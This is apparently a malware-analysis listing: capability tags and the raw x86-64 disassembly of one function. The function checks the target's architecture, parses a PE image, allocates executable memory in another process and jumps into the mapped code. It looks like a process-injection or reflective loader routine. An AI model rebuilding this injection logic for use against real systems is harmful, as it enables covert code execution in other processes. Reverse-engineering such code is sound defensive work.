Function at 0x18001342c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r9
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x60
mov rsi, rcx
lea rcx, str.kernel32.dll
mov r13, r8
mov r12, rdx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.IsWow64Process
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 1
xor ebx, ebx
mov dword [rbp - 0x20], ecx
test rax, rax
je 0x1800134db
test r12, r12
je 0x1800134db
lea rdx, [rbp - 0x20]
mov rcx, r12
call rax
test eax, eax
jne 0x1800134d8
lea rdx, str.___OH_WOW__n
mov ecx, 0x158
call fcn.180030818
lea rdx, str.___PLATFORM_MISMATCH__n
mov ecx, 0x267
call fcn.180030818
xor al, al
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, dword [rbp - 0x20]
movsxd rax, dword [r13 + 0x3c]
mov edx, 0x5a4d
add rax, r13
cmp word [r13], dx
jne 0x1800134a7
cmp dword [rax], 0x4550
jne 0x1800134a7
movzx edx, word [rax + 4]
cmp edx, 0x14c
je 0x180013513
cmp edx, 0x8664
jne 0x1800134a7
test ecx, ecx
jne 0x1800134a7
mov dword [rsi + 8], ebx
jmp 0x18001351e
test ecx, ecx
je 0x1800134a7
mov dword [rsi + 8], 1
movsxd rax, dword [r13 + 0x3c]
mov rdi, rbx
mov r14d, 0x80000000
mov r15d, dword [rax + r13 + 0x50]
mov qword [rbp - 0x10], 0x10000
cmp dword [rsi + 8], ebx
jne 0x18001354f
movabs r14, 0x40000000000
mov qword [rbp - 0x10], 0x1000000
test r14, r14
je 0x1800135bc
mov r9d, 4
mov r8d, 0x3000
mov rdx, r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x1800135b3
mov r9d, 0x3000
mov r8, r15
mov rdx, r14
mov rcx, r12
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, r14
mov rdi, rax
neg rax
sbb r8d, r8d
xor edx, edx
and r8d, 0xffffc000
add r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
sub r14, qword [rbp - 0x10]
test rdi, rdi
je 0x18001354f
test rdi, rdi
je 0x1800134b8
lea rdx, str.Extracting_to_0x_p..._n
mov r8, rdi
mov ecx, 0x296
call fcn.180030818
movsxd rax, dword [r13 + 0x3c]
mov qword [rsp + 0x38], rdi
add rax, r13
mov qword [rbp - 0x18], rbx
mov dword [rbp - 0x20], ebx
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x10]
mov qword [rbp - 0x10], rbx
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x20]
lea r9, [rbp - 0x18]
mov r8, r13
mov rdx, r12
mov rcx, rsi
mov qword [rsp + 0x20], rax
cmp dword [rsi + 8], ebx
je 0x180013620
call fcn.180013a54
jmp 0x180013625
call fcn.180013708
movzx ecx, al
test ecx, ecx
jne 0x180013646
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x1800134b8
mov r9, qword [rbp - 0x18]
mov r8, qword [rbp - 0x10]
lea rdx, str.Point0x_p_at_Base0x_p_n
mov ecx, 0x2ae
call fcn.180030818
mov rax, qword [rbp + 0x48]
test rax, rax
je 0x18001366b
mov qword [rax], rdi
mov dword [rbp - 0x1c], ebx
cmp byte [rsi + 0x25], bl
je 0x1800136d6
lea rdx, str.Starting_to_upgrade..._n
mov ecx, 0x2b8
call fcn.180030818
mov r9d, dword [rbp - 0x20]
mov r8, qword [rbp - 0x18]
mov rdx, rdi
mov rcx, r12
mov qword [rsp + 0x20], rbx
call qword [rsi]
test eax, eax
je 0x18001362c
lea rdx, str.Upgrading_context..._n
mov ecx, 0x2c0
call fcn.180030818
mov r8, qword [rbp - 0x10]
lea r11, [rbp - 0x1c]
mov r9, rdi
mov rdx, r12
mov rcx, rsi
mov qword [rsp + 0x20], r11
call fcn.180013dfc
test al, al
je 0x18001362c
mov ebx, dword [rbp - 0x1c]
jmp 0x1800136e7
lea rdx, str.___NO_OLD_METHODS_NOW_n
mov ecx, 0x2c9
call fcn.180030818
lea rdx, str.Control_TID__d_n
mov r8d, ebx
mov ecx, 0x2cd
call fcn.180030818
mov dword [rsi + 0x20], ebx
mov al, 1
jmp 0x1800134ba